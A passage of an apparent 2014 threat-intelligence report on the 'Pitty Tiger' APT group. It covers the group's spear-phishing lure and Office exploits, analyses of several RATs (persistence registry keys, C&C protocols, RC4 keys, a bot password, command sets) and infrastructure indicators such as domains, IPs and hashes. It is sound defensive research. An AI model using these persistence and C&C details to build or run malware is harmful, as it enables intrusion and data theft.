http://nakedsecurity.sophos.com/2010/06/24/targeted-trident-cyberattack-defence-company/
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Operation Pitty Tiger – “The Eye of the Tiger”
INFECTION METHODS
SPEAR PHISHING AND WEAPONIZED DOCUMENTS
Pitty Tiger, like most other APT groups, use spear phishing e-mails extensively in order to gain an
initial foothold within the targeted environment.
We have been able to find a spear phishing e-mail crafted by the attackers.
This e-mail spoofed the
identity of an employee of a targeted company:
From: XXXXXXX
To: XXXXXXX
File: 1 Attachment: Bird’s Eye Point of View.doc
While the holiday season means clustering clustering ‘time for a
vacation’ for many, there are Those That Will Be of us staying home this
year.
That’s why we’ve Decided to take you on a trip around the world
from a bird’s eye view of the item!
It’s safe to say That MOST of the
lucky people on vacation Will not see breathtaking sights like these.
Remember to look down!
XXXXXX
The attached file is a Microsoft Office Word document triggering CVE-2014-1761 to infect the
computer it is sent to:
Word document used to infect computers with Troj/ReRol.A
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Operation Pitty Tiger – “The Eye of the Tiger”
While this example looks very “amateur” for a spear phishing attempt, we suppose the group has
conducted more advanced spear phishing campaigns, based on the fact that we found infected
Word documents showing content stolen from victims of the group.
These documents were infecting
the system with Troj/ReRol.A malware, which we will detail later in this report.
This could mean that the Pitty Tiger group is using stolen material as spear phishing content either
to target other persons in the compromised company, or to target other persons in a competitor’s
company, or more generally to compromise another target.
Pitty Tiger also seem to use fake Microsoft Office Excel content, yet we could only find empty
content delivering once again the Troj/ReRol.A malware.
DIRECT ATTACKS
Although we have not been able to find evidences of any attack aimed at exploiting vulnerabilities on
the group’s targets servers, we have been able to record several vulnerability scanning launched
from one c&c server straight to the targets.
The attackers have been using different vulnerability scanners aimed at their targets.
While some
targets have been scanned with “generic” vulnerability scanning tools like HScan or Fluxay and port
scanners like Nmap, some other targets have been scanned for very specific vulnerabilities, like a
ZyWALL vulnerability or a FORTINET product.
We have also been able to testify that the Pitty Tiger group has successfully collected information on
some of their targets by exploiting the HeartBleed1 bug.
This vulnerability which exists on some old
versions of OpenSSL allows attackers to collect data from chunks of memory from the targeted
machine.
It allowed the Pitty Tiger group to get admin credentials from at least one target, for
example.
Memory data leak from one server – Heartbleed exploit on one of PittyTiger’s targets
1
http://heartbleed.com/
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Running automated vulnerability scanners on whole ranges of IP addresses used by the targets or
on several domains is a very noisy way to collect information and find server vulnerabilities.
We
would advocate that this method is unwise when you want to stay furtive, and doing it from a c&c
server is very surprising, to say the least.
While the Pitty Tiger group is experienced on some
aspects on its running APT campaigns, it definitely lacks some maturity here.
Public release
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
MALWARE INFORMATION
TROJ/REROL.A
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office
Word document which exploits a specific vulnerability.
The payload infecting the system is malware known as “Troj/ReRol.A”.
It is generally the first step of
the initial compromise for Pitty Tiger campaigns.
Exploitation
We have been able to find one such document1 used by that group of attacker, exploiting CVE-
2012-0158, an old critical vulnerability impacting Microsoft Office and corrected by Microsoft’s
MS12-027 fix in April 2012.
This vulnerability affects Microsoft Office versions up to Office 2010.
We
also found one RTF document embedding CVE-2014-1761, which is a more recent exploit.
We discovered several different documents spreading this malware by triggering CVE-2012-0158
vulnerability, yet we could not share them in this report, since these documents contain information
about victims of the Pitty Tiger group.
The discovery of this “old” vulnerability exploitation in June 2014 could mean that the Pitty Tiger
group has no direct access to 0day exploits, or not enough budgets to buy some.
It could also mean
they use their low range exploit by default because it is working on their targets and is sufficient to
compromise their workstations.
The Word document we initially found was probably a “test” document used by the group.
When
opened, it shows a single line written in Chinese language, which can be translated as “Hello!”
Microsoft Office Word decoy “test document” used by the Pitty Tiger group
Installation
When successfully triggered, the exploit infects the host by dropping and executing a file named
“svohost.exe”2 in the temporary folder of the currently logged-in user:
1
MD5 hash: e70c0479cdb9aa031a263740365e7939
2
MD5 hash: 1752aacc08ee0acd58405e9bc10b0dbb
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Operation Pitty Tiger – “The Eye of the Tiger”
C:\DOCUME~1\USER\LOCALS~1\Temp\svohost.exe
This binary is “Troj/ReRol.A” according to Sophos naming convention1.
It immediately triggers
alarms on our sandbox:
Alarms in our sandbox system, triggered by the Troj/ReRol.A malware
The binary drops a copy of itself in the Application Data folder of the currently logged-in user:
Creation of a copy of the Pitty Tiger malware in a user folder in our sandbox
The malware initiates a communication to time.windows.com to check for connectivity, and then
communicates with the c&c server at mac.avstore.com.tw.
1
http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Rerol-
A/detailed-analysis.aspx
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Operation Pitty Tiger – “The Eye of the Tiger”
Beginning of an encrypted communication between the Troj/ReRol.A malware and its c&c server
Very few variants of Troj/ReRol.A are public.
The variants we have seen did use that same User-
Agent:
Mozilla/4.0 (compatible;)
The persistence mechanism used by the malware is the creation of a registry key named “Shell”
containing the path to the malware on the infected system:
Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon
Value Name : Shell
Value : explorer.exe,C:\DOCUME~1\XXXXXX\APPLIC~1\svohost.exe,
The payload of this malware is used to collect information on the newly infected host, and send it
back to the c&c server.
It can also download and execute binaries.
Command & Control
The data sent in the POST request has a 0x11 bytes header consisting of a fixed-value byte (0xc3)
followed by a 0x10 bytes encryption key.
The data following the header is encrypted using RC4 with
the previous key.
Once the data is deciphered, the last byte of the clear text should also be 0xc3.
We have been able to decrypt the communications and confirmed what is transmitted to the c&c
server.
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Operation Pitty Tiger – “The Eye of the Tiger”
Here is an anonymized sample of communication showing information collected by the malware:
HostName :xxx
UserName :xxx
SysType :32bit
Windows 7 Enterprise Service Pack 1 6.1 7601
Organization:
Owner:xxx
--------------Server Info-------------------
- AdobeARMservice
- Adobe Acrobat Update Service
- AeLookupSvc
- Application Experience
- AudioEndpointBuilder
- … (list goes on)
--------------Soft Info-------------------
1   Adobe AIR 4.0.0.1390
2   Adobe Shockwave Player 12.0 12.0.9.149
3   FileZilla Client 3.7.4.1 3.7.4.1
4   Mozilla Thunderbird 24.3.0 (x86 en-US) 24.3.0
5   … (list goes on)
--------------IP Config-------------------
Adapt Type: Ethernet
NetCardNum:       11
NetCard Name:     {XXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
Description :     Realtek RTL8139C+ Fast Ethernet NIC
MAC-ADDR:         XX-XX-XX-XX-XX-XXX
IP-Addr:          10.xxx.xxx.xxx
IP-Mask:          255.255.255.0
GateWay:          10.xxx.xxx.xxx
DHCP Serv:        1
DHCP Host:        10.xxx.xxx.xxx
WINS Serv:        0
WINS PriHost:
WINS SecHost:
Sample information collected by Troj/ReRol.A malware
This information is very useful for an attacker: it shows all software installed on the system, and
running services.
Once this data has been transferred to the c&c server, it responds by sending additional malware to
execute on the machine.
The c&c part consists of two files:
- dr.asp: an ASP frontend instantiating a control, setting some variables, and passing the
payload.
- JHttpSrv.dll: a controller which should be registered via “regsvr32”.
It exposes 4 methods
which can be called by the ASP script:
o SetIP(strIP): sets the bot IP address
o AddKeyword(strKeyword, strFilePath): binds a keyword to a binary on the server
o Work(lpByteArray, nDataLength): deciphers the payload, looks for the registered
keywords, and writes it to a logfile
o ResponseBinary(): sends back the binary matching a specific a keyword
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Operation Pitty Tiger – “The Eye of the Tiger”
The dr.asp registers the following keywords:
- “SysType :32bit” to the binary “32.exe”
- “SysType :64bit” to the binary “64.exe”
These two binaries were no longer available on the server.
However, we found various files which
could have been used as “32.exe” in the past:
- 3200.exe
- 322.exe
- 32m.exe
- 32mm.exe
The 322.exe file is a legitimate, Chinese, calc.exe tool.
It might have been used by the attackers to
perform tests.
The 3 others binaries are RATs, which will be detailed in the next parts.
PITTYTIGER RAT
This RAT is the origin of the attackers’ group name.
“PittyTiger” is a mutex used by the malware.
“Pitty Tiger” is also a string transmitted in the network communications of the RAT, as you will see in
this chapter.
Installation
The malware1, when running in our sandbox, triggers the following alarms:
Alarms in our sandbox system, triggered by the PittyTiger malware
The binary drops two files in “C:\Windows\System32”:
1
MD5 hash : be18418cafdb9f86303f7e419a389cc9
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Operation Pitty Tiger – “The Eye of the Tiger”
Files dropped by the PittyTiger RAT in our sandbox
The “qmgrxp.exe” binary is a simple copy of the original binary.
It drops the “packet64.dll”, and
injects it in “explorer.exe”.
When executed, a mutex called “PittyTiger” is created.
Persistence is achieved by adding the path to the binary to the WinlogonUserInit key:
Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon
Value Name: UserInit
Value: C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\qmgrxp.exe,
The “packet64.dll” is the main payload of the RAT.
After being injected, it starts sending its Hello
packet to its c&c server:
Sample communication from PittyTiger RAT
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Command & Control
All the requests sent to the c&c contains the string “/FC001/” followed by the bot id.
This id consists
of the infected computer name followed by a dash and the lower word of the disk serial id.
The data sent is simply encoded using base64, there is no cipher at all.
The hello packet, once
decoded, looks like the following:
--------------------------PittyTigerV1.0                           ---------------------
--------------                           ^ ^            ----------------------------
--------------                             ^            ----------------------------
Version:NULL
Our sample had 3 c&c servers configured:
- jackyandy.avstore.com.tw:80
- chanxe.avstore.com.tw:443
- newb02.skypetm.com.tw:80
The following commands are implemented:
- File Download (get) and Upload (put)
- Screen Capture 8bit (prtsc) and 16bit (prtsc2)
- Remote Shell (ocmd/ccmd)
- Configuration update (setserv/freshserv)
- Direct command execution
Regarding the controller part, we found two different versions:
- A Delphi binary handling PittyTiger connections only
- A .NET binary handling both PittyTiger and CT connections
The interface handling both Pitty TIGER and CT connections is very interesting.
We have been able
to confirm that the author of those two families of malware is the same person, as will be seen in the
next chapter about “CT RAT”.
Pitty Tiger RAT – controller part
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
CT RAT
This remote administration tool is often used by the Pitty Tiger group.
We have been able to acquire
both the client and the server parts.
We found two instances of the same binary with different names – 32mm.exe and mm32.exe1.
This RAT seems to be an evolution of PittyTiger, since a specific server binary we found could
handle both requests from CT and PittyTiger, and was indicated as compatible with PittyTiger.
Moreover, the same commands are implemented in both RATs.
Installation
Unsurprisingly, when running in our sandbox, the RAT triggers the same alarms as PittyTiger:
Alarms in our sandbox system, triggered by the CT RAT
The binary drops two files in “C:\Program Files\Internet Explorer”:
1
MD5 hash: f65dc0b3eeb3c393e89ab49a3fac95a8
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Files dropped by the CT RAT in our sandbox
The “ieupdate.exe” is a simple binary to inject the DLL into “explorer.exe”.
Persistence is achieved via the following registry key:
Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows
NT\CurrentVersion\Windows
Value Name: load
Value: c:\PROGRA~1\INTERN~1\ieupdate.exe
After injection, the RAT sends a first login packet to its c&c:
Encrypted communication from a machine infected with CT RAT
Command & Control
The RAT communication is performed through HTTP requests.
The data is sent encrypted with
RC4, and base64-encoded.
The RC4 key is the Unicode form of the requested URL.
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
The Login packet contains the following string, after decoding and deciphering:
Login
->C:PC-XXX
->U:User-XXX
->L:10.10.10.1
->S:Microsoft Windows XP Service Pack 3 5.1 2600
->M:Nov 13 2013
->P:1033
It contains the computer name, the user name, the internal IP address, the OS version, the RAT
internal version and the Language ID of the system.
The RAT can then receive commands from its c&c.
Usual RAT features are implemented:
- File Download (GET) and Upload (PUT)
- Remote shell (ocmd/ccmd)
- Configuration update (cfg)
- Sleep (sleep)
Version and author(s)
Regarding the configuration, our sample communicates with “sop.avstore.com.tw”, and contains the
string “Nov 13 2013”, which should be a version identifier.
The c&c part is a Windows binary written in .NET.
We found 2 versions:
- Version 2013.10: CT only controller
- Version 2013.12: CT and PittyTiger controller
The About form gives the name of the developer(s):
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
CT controller in action with a testing machine of ours
The version of the controller which can handle both PittyTiger and CT shows the same author(s):
CT/PittyTiger controller
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
As these screenshots show, the switch between PittyTiger and CT was probably in the last semester
of 2013.
The text can be translated, thanks to Google Translate, as:
CT console (compatible pittytiger) v1.3
2013.12 by Trees and snow
Further discussion about this author is provided in subsequent sections.
MM RAT (AKA TROJ/GOLDSUN-B)
We named this malware “MM RAT” at the beginning of our investigation, before we found an
existing name for it, “Troj/Goldsun-B” according to Sophos.
This is another remote administration
tool often used by the Pitty Tiger crew.
We have been able to acquire both a client and server part
for it.
Installation
The binary we found is named 3200.exe1, and triggers the following alarms in our sandbox:
Alarms in our sandbox system, triggered by the Troj/Goldsun-B malware
The “release.tmp” file is dropped on the system:
1
MD5 hash: 728d6d3c98b17de3261eaf76b9c3eb7a
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
File dropped by the malware in our sandbox
The binary is also copied to the user’s “Application Data” directory, and injects the “release.tmp” file
in “explorer.exe”.
Persistence is achieved by adding the path to the binary to the Winlogon Shell key:
Key Path: \REGISTRY\USER\<SID>\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon
Value Name: Shell
Value: explorer.exe,C:\DOCUME~1\<UserName>\APPLIC~1\<binary name>,
The RAT embeds its own DNS server IP addresses to make the c&c domain names resolutions.
These addresses are listed below:
-   63.251.83.36
-   64.74.96.242
-   69.251.142.1
-   212.118.243.118
-   216.52.184.230
-   61.145.112.78
-   218.16.121.32
Command & Control
It starts resolving its domains after injection, and immediately sends requests.
First requests are
used to check for updates (GET request on /httpdocs/update/update.ini).
A Hello packet is then sent:
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Hello packet sent by Troj/Goldsun-B to its c&c server
The bot then repeatedly sends GET requests on “/httpdocs/mm/<bot_id>/ComMand.sec” to retrieve
remote commands.
The communication protocol is quite simple: GET requests are used to receive data from the c&c,
and POST requests to send data.
In POST commands, the CGI name represents the command.
The following features are implemented:
- c&c authentication using password
- Remote shell
- Remote commands
- File Download / Upload / Deletion / Search
- Bot termination
The following CGI files can be requested by the bot:
- Vip: test for connectivity
- Owpp4: register new bot
- CReply: answer to remote commands
- Clrf: clear remote file (to clear ComMand.sec after reading)
- CFile: transmit file (file transfers or answers to commands)
- Cerr: send error
The configuration is stored locally in a file called “schmup.sys”.
The file is ciphered using RC4, using
the MD5 hash of “rEdstArs” as the key.
Our sample uses “mca.avstore.com.tw”, “star.yamn.net” and “bz.kimoo.com.tw” as c&c servers.
It
contains the “1.6.0” version number, and uses the password “9ol.8ik,” to authenticate with the bots.
Unlike others c&c binaries, the c&c part of this RAT does not have a graphical interface, but can be
remotely requested to manage the bots.
Furthermore, no authentication is required to send
commands to the c&c (but you need to know the configured password to interact with the bots).
The management protocol is the same as the bots protocol, with different CGI files:
- Shutdown: shutdown the c&c
- Cnor: add a new command for a bot (writes it in “ComMand.sec”)
- Mlist: get the list of bots
- Mlist2: write the list of bots to the file “Online.dat”
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Operation Pitty Tiger – “The Eye of the Tiger”
The bots’ answers to remote commands can be retrieved by requesting the “Reply.sec” file (e.g.
GET /httpdocs/mm/<bot_id>/Reply.sec)
Network patterns
These network patterns might ring bells in some researcher’s minds.
The network communication
used by this binary are the same as those used by the Enfal malware, which has been used in the
past by the Lurid group (APT attackers) and by other threat actors in China1.
An examination of the code did not reveal code similarities with the Enfal malware.
We do not
currently know why this malware uses the same patterns to communicate.
PALADIN RAT
This is another remote administration tool used by the Pitty Tiger group.
We have been able to get
both a client and server part of it.
Installation
The binary we found was dropped by a malicious Word document.
The following alarms are
triggered in the sandbox:
Alarms in our sandbox system, triggered by the Paladin RAT
The shellcode contained in the Word file drops the following file, and executes it:
- C:\Documents and Settings\<User>\Local Settings\Temp\svohost.exe2
This one drops in turn the following file:
1
http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf
2
MD5 hash: 0567fd7484efbae502cac279d32ed518
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
File dropped by the malware in our sandbox
This tmp file is then copied to “C:\Windows\system32\Nwsapagentex.dll” and registered as a service
called “Nwsapagent”.
This malware is a variant of the infamous Gh0st RAT1.
Our specific sample uses “ssss0” instead of
the usual “Gh0st” header for network communications.
Command & Control
The commands ID used in the communication protocol have also changed, but the features are
quite the same.
The configuration is directly embedded in the binary, and deciphered at runtime.
Up to 5 c&c servers
can be configured, but our sample only had one: “ey.avstore.com.tw:53”.
“EY” could stand for “Ernst & Young”.
It would not be very surprising, since a lot of different attack
groups do use anti-virus vendors or other big company’s names to try to look more legitimate.
Pitty
Tiger is no exception, as detailed later in this report.
We also found two c&c binaries, claiming to be versions 2.1 and 2.2 of the Paladin RAT controller.
Version 2.1 answers to the “ssss0” header, while version 2.2 uses the classical “Gh0st” header.
Paladin controller used with one of our testing machines
1
http://www.mcafee.com/sg/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Paladin has multiple features: file transfer, screenshot, command shell …
LEO RAT
Additionally to the Paladin RAT, we found another variant of Gh0st RAT, named “Leo”.
Although we
have found it on a c&c server of the group, there is no evidence that is has been used by the group,
in opposition to Paladin which is used often by Pitty Tiger.
Moreover, the built malware we found in the same folder was configured to connect to a local IP
address, probably for testing purposes.
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Leo malware controller screenshot – a variant of Gh0st RAT
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
INFRASTRUCTURE
Our investigation has focused on three particular c&c servers used by the group.
These c&c servers,
unlike the other c&cs used by the group, have been misconfigured.
Once parsed and dumped, it
provided us with more insight.
We found several domains used by the Pitty Tiger group, the most interesting ones being detailed in
this chapter.
Pitty Tiger, like other APT attackers, often use anti-virus “familiar names” when registering domains
or creating subdomains.
Some examples can be avstore.com.tw, sophos.skypetm.com.tw,
symantecs.com.tw, trendmicro.org.tw etc.
AVSTORE.COM.TW
WHOIS Data
The     registration   information   for    this   domain       has    been      the    same   since   2013-06-04:
Domain Name: avstore.com.tw
Registrant:
information of network company
longsa longsa33@yahoo.com
+86.88885918
No.520.spring road.shenyang
shanghai, shanghai
CN
This information has been used to register another domain, skypetm.com.tw, which has also been
used by the Pitty Tiger group.
Malware families
Our research also led us to the discovery of four different malware families connected to
subdomains of avstore.com.tw:
-    PittyTiger RAT (aka Backdoor:Win32/Ptiger.A)
-    Troj/ReRol.A
-    CT RAT
-    Paladin RAT (variant of Gh0st RAT)
MD5                                        Family                                   C&C
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
0d3b3b422044759b4a08a7ad8afe55c7                     Paladin dropper                     ey.avstore.com.tw
75cf4f853f0f350fac9be87371f15c8d             Exploit:Win32/CVE-2012-2539                mac.avstore.com.tw
b6380439ff9ed0c6d45759da0f3b05b8                 Troj/ReRol.A dropper                   sop.avstore.com.tw
5e2360a8c4a0cce1ae22919d8bff49fd                      Troj/ReRol.A
f65dc0b3eeb3c393e89ab49a3fac95a8
e7dc3bbe8b38b7ee0e797a0e27635cfa                           CT RAT
4ce8593c9de2b27b5c389f651c81638b                                                       chanxe.avstore.com.tw
jackyandy.avstore.com.tw
8df89df484ca5c376b763479ea08d036                         PALADIN
be18418cafdb9f86303f7e419a389cc9                      Pitty Tiger RAT                jackyandy.avstore.com.tw
MD5 hashes of files linked to avstore.com.tw
Links between malware samples, malware families, and avstore.com.tw subdomains
Public release
Threat Intelligence
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Operation Pitty Tiger – “The Eye of the Tiger”
C&C servers and IP addresses
Hosting company             Geolocation        IP Range            IP Address         Host                       Time space
HongkongDingfengxinhuiBgp   Kowloon, Hong      122.10.0.0 –        122.10.48.189      chanxe.avstore.com.tw      Actually in use
Datacenter                  Kong               122.10.63.255
jackyandy.avstore.com.tw
Hurricane Electric Inc      Fremont, USA       66.220.0.0 –        66.220.4.100       mac.avstore.com.tw         Actually in use
66.220.31.255
sop.avstore.com.tw
ey.avstore.com.tw
New World Telephone LTD     Hong Kong City,    58.64.175.0 –       58.64.175.191      jackyandy.avstore.com.tw   Dec. 2013
Hong Kong          58.64.175.255
Avstore.com.tw infrastructure: hosting and subdomains
SKYPETM.COM.TW
WHOIS Data
This domain has shown two different WHOIS entries through time:
Public release
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
-    From 2011-12-29 to 2013-01-02 :
Registrant :chenzhizhong
Email : hurricane_huang@163.com
Telephone : +86.2426836910
-    From 2013-11-21 until today :
Registrant : long sa
Email : longsa33@yahoo.com
Telephone : +86.88885918
The most recent registration information is also used for avstore.com.tw.
Malware families
Six malware families have been identified as communicating with subdomains of skypetm.com.tw:
-    MM RAT
-    Pitty Tiger RAT
-    Troj/ReRol.A
-    CT RAT
-    Paladin
-    Exadog
MD5                                     Malware family                          C&C server
81fa811f56247c236566d430ae4798eb                            MM RAT                          ms11.skypetm.com.tw
55e456339936a56c73a7883ea1ddb672                     Backdoor:Win32/Ptiger.A               botemail.skypetm.com.tw
d5da60d678d5a55a847e1e6723c7a4d0                     Backdoor:Win32/Ptiger.A                 aniu.skypetm.com.tw
0750569cf1733d4fbb01169476387cc2                     Backdoor:Win32/Ptiger.A                 aniu.skypetm.com.tw
zeng.skypetm.com.tw
abb0abfab252e4bfb9106273df3c1c2                      Backdoor:Win32/Ptiger.A                 aniu.skypetm.com.tw
zeng.skypetm.com.tw
c0656b66b9f4180e59e1fd2f9f1a85f2                           Troj/Rerol.A                     zeng.skypetm.com.tw
ce15fa3338b7fe780e85c511d5e49a98                           Troj/Rerol.A                     zeng.skypetm.com.tw
8a54adb3976d1c03605656ca55be7400                     Backdoor:Win32/Ptiger.A                super.skypetm.com.tw
a1ea6dc12b983c7262fe76c1b3663b24                     Backdoor:Win32/Ptiger.A                qinoo.skypetm.com.tw
b6380439ff9ed0c6d45759da0f3b05b8                       Troj/Rerol.A dropper                sophos.skypetm.com.tw
5e2360a8c4a0cce1ae22919d8bff49fd                           Troj/ReRol.A                    sophos.skypetm.com.tw
79e48961d1ee982a466d222671a42ccb                           Troj/ReRol.A                    sophos.skypetm.com.tw
4ab74387f7a02c115deea2110f961fd3                             ReRol.A                       sophos.skypetm.com.tw
bf95e89906b8a17fd611002660ffff32                           Troj/ReRol.A                    sophos.skypetm.com.tw
CONTAINS VICTIM INFORMATION                     Office Word file - Rerol.A dropper         sophos.skypetm.com.tw
4ce8593c9de2b27b5c389f651c81638b                             CT RAT                        newb02.skypetm.com.tw
8df89df484ca5c376b763479ea08d036                             Paladin                       newb02.skypetm.com.tw
22e47c5e3809a4150d0db7fc99a68cc0                    Office Excel file – Rerol.A             margo.skypetm.com.tw
dropper
dd87c68c1e71bb104a48a6be87a2349f                     Backdoor:Win32/Ptiger.A                ripper.skypetm.com.tw
068870c2c165a1d29fc2f3d3edfed3ae                        Win32/Exadog.AA                       link.skypetm.com.tw
Unknown                                              Backdoor:Win32/Ptiger.A                 asdf.skypetm.com.tw
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Skypetm.com.tw infrastructure: subdomains and malware linked to it
Hosting Company       Geolocalisation        IP Range            IP Address          C&C server                Timeline
Take 2 Hosting Inc.   San Jose, USA          173.252.192.0 -     173.252.198.103     newb02.skypetm.com.tw     Actually in use
173.252.255.255
Hurricane Electric    Fremont USA            66.220.0.0 -        66.220.4.100        sophos.skypetm.com.tw     Actually in use
Inc.                                         66.220.31.255
Taiwan Academic       Taipei, Taiwan         210.60.0.0 -        210.60.141.45       botemail.skypetm.com.tw   2012-03-06
Network                                      210.60.255.255
Gorillaservers Inc.   Los Angeles, USA       198.100.96.0 -      198.100.121.15      sophos.skypetm.com.tw     ?
198.100.127.255
Gorillaservers Inc.   Los Angeles, USA       198.100.96.0 -      198.100.121.15      margo.skypetm.com.tw      2013-11-22
198.100.127.255
Webnx Inc.            Los Angeles, USA       216.18.192.0 -      216.18.208.4        botemail.skypetm.com.tw   2013-04-04/2013-
216.18.223.255                                                    12-16
Webnx Inc.            Los Angeles, USA       216.18.192.0 -      216.18.208.4        qinoo.skypetm.com.tw      ?
216.18.223.255
Data                  Taipei, Taiwan         59.112.0.0 -        59.120.84.230       botemail.skypetm.com.tw   2012-03-12/2012-
Communication                                59.123.255.255                                                    04-28
Business Group
Data                  Taipei, Taiwan         211.75.128.0 -      211.75.195.1        super.skypetm.com.tw      2011-08-30/2013-
Communication                                211.75.255.255                                                    12-16
Business Group
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Data              Taipei, Taiwan         61.220.0.0 -          61.220.44.244     aniu.skypetm.com.tw    2013-04-05/2013-
Communication                            61.227.255.255                                                 12-16
Business Group
Data              Taipei, Taiwan         61.220.0.0 -          61.220.44.244     zeng.skypetm.com.tw    ?
Communication                            61.227.255.255
Business Group
Data              Taipei, Taiwan         61.220.0.0 -          61.220.209.17     qinoo.skypetm.com.tw   ?
Communication                            61.227.255.255
Business Group
New World         Hong Kong City,        113.10.169.0 -        113.10.169.162    margo.skypetm.com.tw   Actually in use
Telephone Ltd.    Hong Kong              113.10.169.255
New World         Hong Kong City,        58.64.185.0 -         58.64.185.200     zeng.skypetm.com.tw    2013-12-16/2013-
Telephone Ltd.    Hong Kong              58.64.185.255                                                  12-16
New World         Hong Kong City,        113.10.240.0 -        113.10.240.54     qinoo.skypetm.com.tw   ?
Telephone Ltd.    Hong Kong              113.10.240.255
New World         Hong Kong City,        113.10.221.0 -        113.10.221.126    zeng.skypetm.com.tw    ?
Telephone Ltd.    Hong Kong              113.10.221.255
New World         Hong Kong City,        113.10.240.0 -        113.10.240.50     link.skypetm.com.tw    2012-12-21/2013-
Telephone Ltd.    Hong Kong              113.10.240.255                                                 12-16
Asia Data (hong   Hong Kong City,        101.1.17.0 -          101.1.25.74       zeng.skypetm.com.tw    Actually in use
Kong) Limited     Hong Kong              101.1.31.255
Isp Satellite     Hong Kong City,        202.174.130.0 -       202.174.130.110   ms11.skypetm.com.tw    2011-02-27/2013-
Broadband         Hong Kong              202.174.130.255                                                12-16
Provider
Jeongkyunghee     Anyang, South          221.144.0.0 -         221.150.164.114   link.skypetm.com.tw    2011-06-29/2012-
Korea                  221.168.255.255                                                12-18
COMMON CHARACTERISTICS BETWEEN THE TWO DOMAINS
Malware families and samples
Avstore.com.tw and skypetm.com.tw have 4 malware families in common, communicating to
subdomains of both domains:
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
Links between malware samples, IP addresses and c&cs associated to avstore.com.tw and skypetm.com.tw
OTHER DOMAINS LINKED WITH THE PITTY TIGER GROUP
Domain                    Shares         with                             Comment
paccfic.com               Whois          acers.com.tw,
information    foxcom.com.tw,
dopodo.com.tw,
stareastnet.com.tw
webconference.com.tw      Whois          techsun.com.tw
information
Public release
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Operation Pitty Tiger – “The Eye of the Tiger”
IP Address     techsun.com.tw,
trendmicro.org.tw
stareastnet.com.tw    Whois          acers.com.tw,                     Two PittyTiger malware and a CT RAT have been
information    foxcom.com.tw,                    pointing to several stareastnet.com.tw subdomains.
dopodo.com.tw,
paccfic.com
IP Address     dopodo.com.tw,
foxcom.com.tw,
kimoo.com.tw,
symantecs.com.tw
symantecs.com.tw      Whois          trendmicroup.com                  A pittytiger dropper, a Paladin malware and a CT RAT have been
information                                      pointing to several symantecs.com.tw subdomains.
IP Address     dopodo.com.tw,
foxcom.com.tw,
kimoo.com.tw,
stareastnet.com.tw,
wmdshr.com,
trendmicro.org.tw
trendmicroup.com      Whois          symantecs.com.tw
information
trendmicro.org.tw     Whois          Skypetm.com.tw,                   A paladin and a PittyTiger malware have been pointing to several
information    avstore.com.tw                    trendmicro.org.tw subdomains.
IP Address     webconference.com.tw,
techsun.com.tw,
skypetm.com.tw,
kimoo.com.tw,
symantecs.com.tw,
hdskip.com
lightening.com.tw     Whois          helosaf.com.tw,                   Paladin and PittyTiger samples has been pointing to several
information    seed01.com.tw                     lightening.org.tw subdomains.
IP Address     seed01.com.tw,
techsun.com.tw        Whois          webconference.com.tw
information
IP Address     webconference.com.tw,
trendmicro.org.tw
dopodo.com.tw         Whois          acers.com.tw,
information    foxcom.com.tw,
stareastnet.com.tw
IP Address     stareastnet.com.tw,
symantecs.com.tw,
kimoo.com.tw
foxcom.com.tw         Whois          acers.com.tw,
information    dopodo.com.tw,
stareastnet.com.tw
IP Address     stareastnet.com.tw,
symantecs.com.tw,
kimoo.com.tw
acers.com.tw          Whois          acers.com.tw,
information    foxcom.com.tw,
stareastnet.com.tw
IP Address     symantecs.com.tw,
wmdshr.com,
kimoo.com.tw
Links between domains used by Pitty Tiger
Public release
Threat Intelligence
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
Timeline of Pitty Tiger domains registration information, based on e-mail address
Some domains registered by the group are very old.
There is an increase in the registrations from
2010 on.
All the e-mail addresses used are connected to the Pitty Tiger group.
Public release
Threat Intelligence
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Copyright © 2014 Airbus Defence & Space - All rights reserved
Operation Pitty Tiger – “The Eye of the Tiger”
VICTIMS
Mapping the victims of such a targeted campaign is not an easy task.
We have found the Pitty Tiger group to be very active against one particular private company from
the defense industry and one academic network of a government, , yet we think it was done to be
used as a proxy for some of the group’s operations.
We have also found some connections from other companies to the c&c servers, yet we did not find
evidence that they were real victims.
These alleged victims do work in different sectors and are located mostly in European countries.
   1 company from the defense industry;
   1 company from the energy industry;
   1 company from the telecommunications industry;
   1 company specialized in web development.
It might be surprising to see a company specialized in web development here, yet it has built
websites for interesting potential targets.
We suspect Pitty Tiger to use this compromise to spear
phish other companies which are in commercial relation with this web development company.
We have to mention that we only had access to three of the several attackers’ servers.
Therefore,
we suppose the Pitty Tiger group could have more targets than what we could confirm.
We also found a lot of vulnerability scanners launched by the attackers at different targets, yet there
was no sign of compromise.
During the course of our investigations, we discovered a RAR archive on the attacker’s server
containing 5 Word documents and one small C source code.
These documents belong to the
